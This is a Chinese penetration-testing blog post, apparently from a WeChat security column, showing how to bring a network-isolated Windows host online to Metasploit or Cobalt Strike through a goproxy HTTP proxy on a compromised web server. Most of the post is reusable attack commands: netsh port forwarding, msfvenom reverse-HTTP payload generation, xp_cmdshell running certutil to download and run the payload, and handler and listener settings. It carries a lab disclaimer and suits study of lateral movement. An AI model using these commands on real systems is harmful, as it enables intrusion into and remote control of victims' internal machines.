前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >利用goproxy http上线不出网主机

利用goproxy http上线不出网主机

作者头像
潇湘信安
发布2021-08-20 10:06:42
6870
发布2021-08-20 10:06:42
举报
文章被收录于专栏:潇湘信安潇湘信安

声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。

我们接着上篇文章“利用MSF上线断网主机的思路分享”继续来分享一篇如何使用goproxy http代理方式上线不出网主机的利用姿势,结合上篇文章阅读更佳!!!

项目地址:https://github.com/snail007/goproxy

0x01 测试环境

代码语言:javascript
复制
攻击机(Kali):192.168.56.101
受害机1(Web):192.168.56.102、192.168.186.3 - 双网卡
受害机2(Data):192.168.186.4 - 断网机

0x02 goproxy http代理上线MSF/CS

我们先将goproxy项目的proxy.exe工具通过中国菜刀上传至目标磁盘可读写目录中,执行以下命令在这台出网主机上开启一个8080端口的HTTP代理供后期与不出网主机进行通讯。

代码语言:javascript
复制
C:\ProgramData\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon
图片
图片

0.0.0.0/127.0.0.1区别:

代码语言:javascript
复制
0.0.0.0:本机上的所有IPV4地址;
127.0.0.1:环回地址,仅本地接口IP地址;

这一步可直接省略跳过

然后再利用系统自带的netsh命令将这台主机56出网段的HTTP代理8080端口转发至186不出网段的8888端口上,用于后期在MSF监听时设置HTTP代理。

代码语言:javascript
复制
添加端口转发
netsh interface portproxy add v4tov4 listenaddress=192.168.186.3 listenport=8888 connectaddress=192.168.56.102 connectport=8080

删除端口转发
netsh interface portproxy delete v4tov4 listenaddress=192.168.186.3 listenport=8888

显示所有端口转发
netsh interface portproxy show all
图片
图片

用msfvenom命令生成个meterpreter_reverse_http载荷文件,需要加上以下几个HTTP代理参数,填入186不出网段内网IP的HTTP代理:http://192.168.186.3:8080

  • HttpProxyType:代理类型(HTTP);
  • HttpProxyHost:代理地址(192.168.186.3);
  • HttpProxyPort:代理端口(8080);
代码语言:javascript
复制
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=192.168.56.101 LPORT=443 HttpProxyType=HTTP HttpProxyHost=192.168.186.3 HttpProxyPort=8080 -f exe > /tmp/stageless.exe
图片
图片

利用中国菜刀的上传/下载功能将该文件放至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载,执行以下命令将stageless.exe下载至断网机磁盘中。

代码语言:javascript
复制
EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/stageless.exe C:\ProgramData\stageless.exe'
图片
图片

handler监听模块这里必须也要用meterpreter_reverse_http,配置好相关选项后执行监听,然后在中国菜刀中利用xp_cmdshell组件执行stageless.exe后即可成功上线。‍

代码语言:javascript
复制
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_http
msf5 exploit(multi/handler) > set lhost 192.168.56.101
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > set httpproxytype HTTP
msf5 exploit(multi/handler) > set httpproxyhost 192.168.186.3
msf5 exploit(multi/handler) > set httpproxyport 8080
msf5 exploit(multi/handler) > exploit

EXEC master..xp_cmdshell 'C:\ProgramData\stageless.exe'
图片
图片

流量走向如下:

代码语言:javascript
复制
192.168.186.4->192.168.186.3(192.168.56.102):8080->C2
192.168.186.4->192.168.186.3:8888->192.168.56.102:8080->C2

httpproxytype、httpproxyhost、httpproxyport这几个高级参数选项在options命令中是看不到的,需要用advanced命令才可看到,如下图。

图片
图片

如需上线至CobaltStrike则可以创建一个新的监听器,有效载荷选择为Beacon HTTP,在HTTP Proxy处填写代理地址:http://192.168.186.3:8080

将在Windows Executable(S)生成的可执行马儿文件上传/下载至192.168.186.4断网数据库服务器中执行即可成功上线。

图片
图片

注意事项:

利用这种方式上线不出网主机时得注意下,生成MSF文件和设置监听时必须使用stageless Payload,而CS则必须要使用Windows Executable(S),否则其他马儿即使执行成功也不会上线。

代码语言:javascript
复制
stager:分阶段,第一阶段申请内存,第二阶段向C2发起请求并接受shellcode执行;
windows/x64/meterpreter/reverse_http

stageless:不分阶段,生成时就包含了所有文件,可以避免shellcode传输不畅造成目标无法上线;
windows/x64/meterpreter_reverse_http
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-08-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 潇湘信安 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库专家服务
数据库专家服务(Database Expert Service,DBexpert)为您提供专业化的数据库服务。仅需提交您的具体问题和需求,即可获得腾讯云数据库专家的专业支持,助您解决各类专业化问题。腾讯云数据库专家服务团队均有10年以上的 DBA 经验,拥有亿级用户产品的数据库管理经验,以及丰富的服务经验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档